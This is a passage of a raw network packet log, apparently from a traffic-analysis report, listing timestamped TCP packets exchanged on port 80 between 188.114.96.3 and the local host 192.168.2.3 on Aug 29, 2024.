Aug 29, 2024 12:14:41.013303041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013314962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013325930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013338089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013348103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013356924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013372898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013396978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013576031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013586998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013603926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013614893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013624907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013628960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013636112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013648033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013650894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013660908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013673067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013681889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013684034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013693094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013695955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013708115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013711929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013719082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013731003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013732910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013742924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013755083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013763905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013781071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013808966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013950109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013961077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013969898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013981104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013995886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013999939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.014013052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.014019966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.014024019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.014036894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.014044046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.014055967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.014067888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.014067888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.014090061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.014107943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.070698023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070712090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070724010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070754051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070765018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070775986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070775986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.070787907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070812941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.070832014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.070898056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070935011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.070950031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070960999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.070995092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071032047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071048975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071060896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071073055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071084976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071088076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071104050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071124077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071135044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071146011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071168900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071178913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071182966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071202040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071218014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071274042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071285963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071300030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.071322918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.071340084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.072727919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.072762012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.072770119 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.072774887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.072798014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.072815895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.072828054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.072839975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.072873116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.072947979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.072959900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.072995901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073059082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073070049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073081017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073102951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073111057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073121071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073122025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073132992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073144913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073147058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073173046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073179960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073189020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073214054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073365927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073378086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073390961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073399067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073415041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073430061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073441982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073452950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073486090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073609114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073621035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.073648930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.073664904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.074017048 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074028969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074050903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074068069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.074079990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.074093103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074105024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074115992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074126959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074137926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.074165106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.074609041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074620962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074632883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.074678898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.074692965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.075270891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075282097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075294018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075309038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075320959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.075339079 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.075376034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075387001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075397015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075407028 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.075407982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075433016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075439930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.075445890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075459003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.075463057 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.075494051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103209972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103262901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103275061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103302956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103333950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103352070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103363037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103373051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103385925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103390932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103418112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103534937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103545904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103558064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103569984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103580952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103584051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103595018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103600979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103606939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103616953 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103619099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103631973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103642941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103646994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103673935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103816986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103827953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103840113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103849888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103857994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103869915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103873968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103904963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.103950977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103966951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103977919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103988886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.103988886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104001045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104012012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104013920 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104036093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104063034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104089022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104099989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104110003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104120970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104124069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104132891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104147911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104165077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104193926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104206085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104216099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104227066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104228973 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104238033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104240894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104250908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104258060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104262114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104274035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104286909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104302883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104454994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104465961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104494095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104512930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104526043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104537964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104547977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104552984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104558945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104571104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104573965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104583025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.104594946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.104619026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.161741018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161766052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161777973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161802053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161813974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161825895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161829948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.161838055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161856890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161870003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161871910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.161881924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161895990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161911011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.161932945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.161942959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161953926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.161974907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162000895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162000895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162014008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162036896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162059069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162071943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162089109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162101030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162111044 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162121058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162136078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162225962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162236929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162250042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162261963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162262917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162276983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.162281990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162293911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.162318945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.163800955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163816929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163829088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163886070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163889885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.163898945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163911104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163923979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163932085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.163935900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.163959980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.163989067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164107084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164128065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164139986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164144039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164158106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164174080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164230108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164242029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164253950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164263964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164264917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164280891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164299011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164339066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164350033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164361000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164371967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164395094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164419889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164439917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164450884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164454937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164462090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164474010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.164479017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.164506912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165281057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165293932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165313005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165323973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165335894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165337086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165349007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165355921 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165364981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165379047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165397882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165452003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165463924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165488005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165503025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165512085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165514946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165527105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165539026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165555954 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.165570974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.165591002 CEST	80	62660	188.114.96.3	192.168.2.3
